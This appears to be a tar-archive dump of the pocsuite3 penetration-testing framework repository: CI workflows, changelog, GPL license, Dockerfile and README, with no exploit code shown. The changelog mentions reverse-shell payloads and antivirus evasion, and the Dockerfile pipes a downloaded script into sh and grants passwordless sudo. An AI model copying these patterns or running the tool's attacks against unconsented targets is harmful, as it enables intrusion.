pax_global_header00006660000000000000000000000064144062461550014521gustar00rootroot0000000000000052 comment=9a0b990e05c09d9e0ade3ab29807d9abc02488b0 pocsuite3-2.0.3/000077500000000000000000000000001440624615500134415ustar00rootroot00000000000000pocsuite3-2.0.3/.coveragerc000066400000000000000000000005371440624615500155670ustar00rootroot00000000000000[run] include = pocsuite3/* omit = *migrations* *tests* venv/* [report] include = pocsuite3/* omit = *migrations* *tests* venv/* exclude_lines = pragma: no cover def __repr__ def __str__ if self.debug: if settings.DEBUG raise AssertionError raise NotImplementedError if __name__ == .__main__.: pocsuite3-2.0.3/.github/000077500000000000000000000000001440624615500150015ustar00rootroot00000000000000pocsuite3-2.0.3/.github/workflows/000077500000000000000000000000001440624615500170365ustar00rootroot00000000000000pocsuite3-2.0.3/.github/workflows/lint.yml000066400000000000000000000023321440624615500205270ustar00rootroot00000000000000name: Lint on: [pull_request] jobs: lint: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: Critical lint run: | pip install flake8 # https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/python/linting/flake8.html flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - name: Style lint run: | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504,E741 --statistics > current.txt git fetch origin git checkout origin/"$GITHUB_BASE_REF" flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504,E741 --statistics > base.txt if diff base.txt current.txt | grep "^> ./"; then false fi pocsuite3-2.0.3/.github/workflows/pylint.yml000066400000000000000000000020331440624615500210760ustar00rootroot00000000000000name: PyLint on: [pull_request] jobs: pylint: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: PyLint run: | set -x pip install pylint pip install --upgrade -r requirements.txt # TODO: donot ignore serialization.py pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > current.txt git fetch origin git checkout origin/"$GITHUB_BASE_REF" pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > base.txt if diff base.txt current.txt | grep "^> "; then false fi pocsuite3-2.0.3/.github/workflows/release.yml000066400000000000000000000054531440624615500212100ustar00rootroot00000000000000name: Release Package on: push: tags: - v* jobs: pypi: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.x' - name: Install dependencies run: | python -m pip install --upgrade pip pip install setuptools wheel twine pip install -r requirements.txt - name: Build and publish env: TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} run: | python setup.py sdist bdist_wheel twine upload dist/* homebrew: runs-on: ubuntu-latest needs: - pypi steps: - name: Update Homebrew formula uses: 13ph03nix/action-homebrew-bump-formula@v3 with: token: ${{ secrets.BREW_TOKEN }} formula: pocsuite3 aur: runs-on: ubuntu-latest needs: - pypi steps: - name: Checkout PKGBUILD repo run: | echo "$AUR_SSH_KEY" > ~/aur_ssh_key chmod 600 ~/aur_ssh_key git config --global core.sshCommand "ssh -i ~/aur_ssh_key -o 'StrictHostKeyChecking=no'" git clone "aur@aur.archlinux.org:pocsuite3.git" . env: AUR_SSH_KEY: ${{ secrets.AUR_SSH_KEY }} - name: Update Version run: | export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::') sed -i "s/^pkgver=.*\$/pkgver=${VERSION}/g" PKGBUILD sed -i "s/^pkgrel=.*\$/pkgrel=1/g" PKGBUILD env: GH_REF: ${{ github.ref }} - name: Update .SRCINFO and checksum uses: 13ph03nix/archlinux-package-action@v2 with: flags: '' namcap: false updpkgsums: true srcinfo: true - name: Commit and push changes run: | export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::') git config --global user.email "abcnsxyz@gmail.com" git config --global user.name 'Tian Qiao' git commit -a -m "Version ${VERSION} (automated version bump)" git push origin master env: GH_REF: ${{ github.ref }} dockerhub: runs-on: ubuntu-latest needs: - pypi steps: - name: Checkout uses: actions/checkout@v2 - name: Build env: GH_REF: ${{ github.ref }} run: | export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::') docker build --build-arg version=${VERSION} \ --tag pocsuite3/pocsuite3:v${VERSION} \ --tag pocsuite3/pocsuite3:latest \ . - name: Login uses: docker/login-action@v1 with: username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} - name: Push run: | docker push -a pocsuite3/pocsuite3 pocsuite3-2.0.3/.github/workflows/test.yml000066400000000000000000000013401440624615500205360ustar00rootroot00000000000000name: Test on: [pull_request] jobs: test: strategy: matrix: python-version: [3.7, '3.10'] os: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: Install dependencies & Test run: | pip install --upgrade -r requirements.txt python setup.py install python test.py pocsuite3-2.0.3/.gitignore000066400000000000000000000015511440624615500154330ustar00rootroot00000000000000### OSX ### .DS_Store .AppleDouble .LSOverride ### SublimeText ### # cache files for sublime text *.tmlanguage.cache *.tmPreferences.cache *.stTheme.cache # workspace files are user-specific *.sublime-workspace # project files should be checked into the repository, unless a significant # proportion of contributors will probably not be using SublimeText # *.sublime-project # sftp configuration file sftp-config.json # Basics *.py[cod] __pycache__ # Logs logs *.log pip-log.txt npm-debug.log* # Unit test / coverage reports .coverage .tox nosetests.xml htmlcov # Translations *.mo *.pot # Pycharm .idea/ # Vim *~ *.swp *.swo # npm node_modules/ # Compass .sass-cache # virtual environments env/ .env venv36/ venv/ # vscode .vscode/ # wakatime .wakatime-project # other build/ dist/ *.egg-info .eggs/ pocsuite.ini pocsuite3/pocs/ pocsuite3/data/cacert.pem pocsuite3-2.0.3/CHANGELOG.md000066400000000000000000000232001440624615500152470ustar00rootroot00000000000000# version 2.0.3 ---------------- * optimized URL protocol correction #356, thanks @chenjiewei123 * support disable protocol correction and honeypot checks through --no-check option # version 2.0.2 ---------------- * fix url redirect problem in _check method #337 * fix use command in console mode can't use absolute path #341, thanks @S2eTo * fix ipv6 compatibility issue in build_url #347, thanks @HomerQing * optimize dsl expression execution #348 # version 2.0.1 ---------------- * fix words matcher expression execution #333, thanks @soapffz * fix catch binascii ValueError Exception #334, thanks @izj007 * improve template robustness * support digest_username and digest_password * support negative matchers # version 2.0.0 ---------------- * yaml poc support, compatible with nuclei * fix httpserver module hangs on macos platform * auto correction of url protocol based on status code # version 1.9.11 ---------------- * support customize poc protocol and default port #321 * -p option support optional protocol field, [proto:]port #323 * add -s option to skip target default port #323 * poc-console optimization * some bug fixes & improvements # version 1.9.10 ---------------- fix different python versions have different behaviors on ipaddress library #319 # version 1.9.9 ---------------- * auto correct url based on poc's protocol attribute #316 * fix Colorizing doesn't work on Windows with poc-console #318 * trail slash at the end of url #314 # version 1.9.8 ---------------- * support full PoC search by regex keyword #312 * set default value for PoC in POCBase #312 * add bind/reverse shell payload #311 * fix fofa query over multiple pages #310 # version 1.9.7 ---------------- * improve encoding compatibility #305 * obfuscate REVERSE_PAYLOAD to evade windows defender #306 * improve --ppt # version 1.9.6 ---------------- * support -o parameter, save the result in json lines format * optimize timeout for cyberspace search engine plugins * optimize the handling of the url protocol * docs update # version 1.9.5 ---------------- * refactor --ppt, optimize mosaic for url * optimize poc template * optimize pocsuite command default prompt message * adjust the default timeout to 10 seconds * adjust the default number of threads to 150 * target url support cidr, user can use -p provide additional ports * support local mode, local mode do not need any targets, e.g. LPE * bug fixes # version 1.9.4 ----------------- * support poc template generate * support custom interactsh server * Switch the authentication method of ZoomEye and CEYE to API-KEY * support honeypot detect * support http/https protocol autocorrect * refactor --update * support version check # version 1.9.3 ----------------- * add support for qianxin hunter cyberspace search engine * support self.rhost & self.rport in POCBase # version 1.9.2 ----------------- * Improved shell mode # version 1.9.1 ----------------- * fix #272, #274 * the hook support of requests can be used alone * refactor shell mode, add handle for keyboard interrupt # version 1.9.0 ----------------- * Fix urllib3 issue with parsing URIs * Prevent URL encoding # version 1.8.12 ----------------- * update fofa api url #263 # version 1.8.11 ----------------- * fix windows log color issue #258 # version 1.8.10 ----------------- * fix #254 * fix urlparse fails with simple url * use pycryptodomex instead of pycryptodome, fix #255 # version 1.8.9 ----------------- * fix user-agent bug #252 # version 1.8.8 ----------------- * rewrite multi module * integrate with interactsh * support filter poc by keyword # version 1.8.7 ----------------- * fix bug * optimize code style & docs * delete the exe tool for compatibility with dfsg # version 1.8.6 ----------------- * support encrypted shell (TLS) in shell mode * fix #228 # version 1.8.5 ----------------- * support bind shell in shell mode * fix #221 # version 1.8.4 ----------------- * update docs * fix typo # version 1.8.3 ----------------- * some improvements related to dependent # version 1.8.2 ----------------- * fix finding a python module version gives error # version 1.8.1 ----------------- * fix check_requires() can not handle dependent version correctly #208 * update docs # version 1.8.0 ----------------- * fix the timeout problem in shell mode leads to confusing results * made some improvements with network address related issues # version 1.7.8 ----------------- * add option to display extra parameters of poc * add more poc attribute to result dict * allow custom module path in console mode * fix some compatibility problems # version 1.7.7 ----------------- * 添加--dork自动用poc中的dork字段扫描功能 * 适配Debian源格式需求 # version 1.7.6 ----------------- * fixes #192 # version 1.7.5 ----------------- * 添加录包功能和dork字段支持base64编码 fixes #169 #173 * 修复target插件requests参数无效bug fix #183 # version 1.7.4 ----------------- * 修复批量执行poc时因为报错导致扫描中断问题 fixes #149 * 修复--pocs-path参数bug # version 1.7.2 ----------------- * 增加powershell bash反弹shell 以及编码函数 # version 1.7.0 ----------------- * 修复`Python 3.9`兼容性问题 * console模式，添加系统命令执行，添加pocuite3命令clear清除屏幕 # version 1.6.5 ---------------- * 修复http请求头不能删除 * 修复html导出编码错误 * 修复console模式下lport设置失败 * shell模式可以使用select或use选择shell # version 1.6.4 ---------------- * 测试Github Action自动发布pypi # version 1.6.0~1.6.3 --------------- * 添加随机UA头选项 * 重构--ppt隐藏信息选项 * 当poc有语法错误时，显示详细信息 * 添加InMemoryWar * 修复urllib3的`chunk_length`错误 * 加入打tag自动构建发布到pypi # version 1.5.9 --------------- * 增加了poc类型的枚举类型 #95 * 修改了样例poc # version 1.5.8 --------------- * 修复shadon api问题 * 加入fofa api接口 # version 1.5.7 --------------- * 取消pyreadline报错提示 * 修改日志拼写错误 # version 1.5.6 --------------- * 修复多线程卡住问题 * 修复seebug api问题 * 修复socks5代理问题 # version 1.5.5 --------------- * fix #87 # version 1.5.4 --------------- * 加入获取PoC信息的API * 更新测试用例 # version 1.5.3 --------------- * socket代理增加变量保存原始socket信息，方便使用后恢复(`conf.origin_socks`) * 修复requests代理指定为None时的逻辑问题 # version 1.5.2 --------------- * typo fix #84 * bugfix 自定义cookie产生的异常情况 * bugfix 引入pocsuite3后再次引入requests导致的报错 # version 1.5.1 --------------- * 修复插件调用poc失败的问题 # version 1.5.0 --------------- * 修复timeout一处异常 * pocsuite3.api 添加 `random_str` * 优化update function # version 1.4.9 --------------- * 修复requirement检测一处bug * 修复reverse 一处异常 # version 1.4.8 --------------- * console模式下设置ip可以选择序号 `show ip` `set lhost 0` * bugfix for ceye dns api # version 1.4.7 --------------- * 修复console模式下回连shell循环的异常 # version 1.4.6 --------------- * 修复`-v`出现的问题 * 修复加载多个poc可能出现的问题 # version 1.4.5 --------------- * update usage.md # version 1.4.3 --------------- * 加入PPT模式（用于演示，敏感信息将打上*） # version 1.4.2 --------------- * 修复console模式下一处bug，https://github.com/knownsec/pocsuite3/pull/61 # version 1.4.1 --------------- * 修复由poc插件中由conf.poc引起的错误 # version 1.4.0 --------------- * 在命令行下url和poc支持多个(空格分隔) * 更换`optparse`到`argparse` # version 1.3.9 --------------- * 修复plugins选项加载绝对路径问题 * 修复加载pocs目录扫描部分报错问题 * PoC插件`add_poc`方法新增`fullname`参数用于定义加载poc名称 * 定义api模式方便shell集成 # version 1.3.8 --------------- * add field,option for compatibility with zipoc # version 1.3.7 --------------- * add poc-plugin to load poc from `pocs` directories. # version 1.3.6 --------------- * Bugfix parameter `version` # version 1.3.5 --------------- * Add parameter `-c` for load configuration from the configuration file * Add parameter `--comparsion` for comparing comparing both of zoomeye and shodan * Interface supports from zoomeye,shodan and censys # version 1.3.4 --------------- Cross-platform shell code generation # version 1.3.3 --------------- fix #37 pocsuite3\lib\core\revision.py # version 1.3.2 --------------- * bugfix poc thinkphp_rce # version 1.3.1 --------------- * add confluence poc * fix pocs/drupalgeddon2 * CYGWIN compatibility * bugfix revision.py `stdout_encode` # version 1.3.0 --------------- * new feature: `_verify` `_attack` function can directly return bool, str, dict, etc. * new plugin: file report * bugfix get_option() not support int # version 1.2.10 --------------- * bugfix interpreter_option OptDict # version 1.2.9 --------------- * seebug poc friendly load reminder * new feature:displayed results after user interruption * POC specifies third-party module verification failure * customize option iter func * Built-in http server # version 1.2.8 --------------- * support ceye token * bugfix plugin from seebug * refactoring ceye # version 1.2.7 --------------- * bugfix hook_requests # version 1.2.6 --------------- * bugfix seebug poc # version 1.2.5 --------------- * bugfix socks proxy # version 1.2.2 --------------- * bugfix site-packages poc-console issue * poc-console support to load absolute path * poc-console will ignore case when use `search` # version 1.2.1 --------------- * bugfix auto update error * bugfix console mode load poc error * update pocsuite3 banner # version 1.0 --------------- * Init publish pocsuite3-2.0.3/CONTRIBUTORS.md000066400000000000000000000027561440624615500157320ustar00rootroot00000000000000hysia * for contributing core code badcode * for contributing core code cc * for contributing core code w7ay * for contributing core code fenix * for contributing core code phithon * for suggesting a couple of features longofo * for contributing http server module Ro0tk1t * for contributing multi-ip multi-poc execution features * fix some issues hawoosec * for reporting a bug * for contributing a minor patch * bugfix invalid client * for contributing `set lhost index` Explorer1092 * update usage.md gsfish * good first issue #85 * repair the custom cookie anomalies Becivells * bugfix shodan api * for contributing fofa api * for contributing random user-agent switch * bugfix #187 hex0wn * bugfix #139 MrMetatron * console 模式，添加系统命令执行，添加 pocsuite3 命令 clear 清除屏幕功能 z3r0yu * Add quake dork for pocsuite3 Rook1e * Add CI to build and push Docker image to DockerHub ekszz * contributing to customize poc protocol and default port #321 HomerQing * contributing to fix ipv6 compatibility issue in build_urlpocsuite3-2.0.3/COPYING000066400000000000000000000372401440624615500145020ustar00rootroot00000000000000COPYING -- Describes the terms under which pocsuite is distributed. A copy of the GNU General Public License (GPL) is appended to this file. pocsuite3 is (C) 2014-present 404-team@knownsec.com This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite technology into proprietary software, we sell alternative licenses (contact pocsuite@seebug.org). **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS **************************************************************************** pocsuite3-2.0.3/Dockerfile000066400000000000000000000020631440624615500154340ustar00rootroot00000000000000FROM ubuntu:22.04 MAINTAINER Knownsec 404 Team ARG version env DEBIAN_FRONTEND=noninteractive RUN apt-get update \ && apt-get install -y \ python3 \ python3-pip \ net-tools \ nload \ htop \ tmux \ vim \ wget \ curl \ zsh \ && apt-get install -y sudo \ && useradd -m pocsuite3 \ && passwd --delete --unlock pocsuite3 \ && echo "pocsuite3 ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pocsuite3 USER pocsuite3 RUN sh -c "$(wget -O- https://raw.githubusercontent.com/13ph03nix/zsh-in-docker/master/zsh-in-docker.sh)" -- \ -t https://github.com/spaceship-prompt/spaceship-prompt \ -p git \ -p https://github.com/zsh-users/zsh-autosuggestions \ -p https://github.com/zsh-users/zsh-completions \ && sudo apt-get autoremove -y \ && sudo apt-get clean -y \ && sudo rm -rf /var/lib/apt/lists/* RUN sudo pip3 install --upgrade pip && sudo pip3 install --upgrade pocsuite3$([ -n "$version" ] && echo "=="${version}) WORKDIR /home/pocsuite3 CMD ["zsh"] pocsuite3-2.0.3/MANIFEST.in000066400000000000000000000003151440624615500151760ustar00rootroot00000000000000include MANIFEST.in include LICENSE include README.md include CHANGELOG.md include CONTRIBUTORS.md recursive-include pocsuite3 * recursive-exclude pocsuite3 __pycache__ recursive-exclude pocsuite3 *.py[co]pocsuite3-2.0.3/README.md000066400000000000000000000125301440624615500147210ustar00rootroot00000000000000# pocsuite3 [![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/knownsec/pocsuite3/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@seebug-blue.svg)](https://twitter.com/seebug_team) ## Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only ## 法律免责声明 未经事先双方同意，使用 pocsuite3 攻击目标是非法的。 pocsuite3 仅用于安全测试目的 ## Overview pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. ## Features * PoC scripts can running with `verify`, `attack`, `shell` mode in different way * Plugin ecosystem * Dynamic loading PoC script from anywhere (local file, redis, database, Seebug ...) * Load multi-target from anywhere (CIDR, local file, redis, database, Zoomeye, Shodan ...) * Results can be easily exported * Dynamic patch and hook requests * Both command line tool and python package import to use * IPv6 support * Global HTTP/HTTPS/SOCKS proxy support * Simple spider API for PoC script to use * YAML PoC support, compatible with [nuclei](https://github.com/projectdiscovery/nuclei) * Integrate with [Seebug](https://www.seebug.org) (for load PoC from Seebug website) * Integrate with [ZoomEye](https://www.zoomeye.org), [Shodan](https://www.shodan.io), etc. (for load target use `Dork`) * Integrate with [Ceye](http://ceye.io/), [Interactsh](https://github.com/projectdiscovery/interactsh) (for verify blind DNS and HTTP request) * Friendly debug PoC scripts with IDEs * More ... ## Screenshots ### pocsuite3 console mode [![asciicast](https://asciinema.org/a/219356.png)](https://asciinema.org/a/219356) ### pocsuite3 shell mode [![asciicast](https://asciinema.org/a/203101.png)](https://asciinema.org/a/203101) ### pocsuite3 load PoC from Seebug [![asciicast](https://asciinema.org/a/207350.png)](https://asciinema.org/a/207350) ### pocsuite3 load multi-target from ZoomEye [![asciicast](https://asciinema.org/a/133344.png)](https://asciinema.org/a/133344) ### pocsuite3 load multi-target from Shodan [![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349) ### pocsuite3 load nuclei template ![](./asset/img/yaml_poc_showcase.png) ## Requirements - Python 3.7+ - Works on Linux, Windows, Mac OSX, BSD, etc. ## Installation Paste at a terminal prompt: ### Python pip ``` bash pip3 install pocsuite3 # use other pypi mirror pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3 ``` ### MacOS ``` bash brew update brew info pocsuite3 brew install pocsuite3 ``` ### [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3) ``` bash sudo apt update sudo apt install pocsuite3 ``` ### Docker ``` docker run -it pocsuite3/pocsuite3 ``` ### ArchLinux ``` bash yay pocsuite3 ``` ### Or click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract ``` bash wget https://github.com/knownsec/pocsuite3/archive/master.zip unzip master.zip cd pocsuite3-master pip3 install -r requirements.txt python3 setup.py install ``` The latest version of this software is available at: https://pocsuite.org ## Documentation Documentation is available at: https://pocsuite.org ## Usage ``` cli mode # basic usage, use -v to set the log level pocsuite -u http://example.com -r example.py -v 2 # run poc with shell mode pocsuite -u http://example.com -r example.py -v 2 --shell # search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The threads is set to 20 pocsuite -r redis.py --dork service:redis --threads 20 # load all poc in the poc directory and save the result as html pocsuite -u http://example.com --plugins poc_from_pocs,html_report # load the target from the file, and use the poc under the poc directory to scan pocsuite -f batch.txt --plugins poc_from_pocs,html_report # load CIDR target pocsuite -u 10.0.0.0/24 -r example.py # the custom parameters 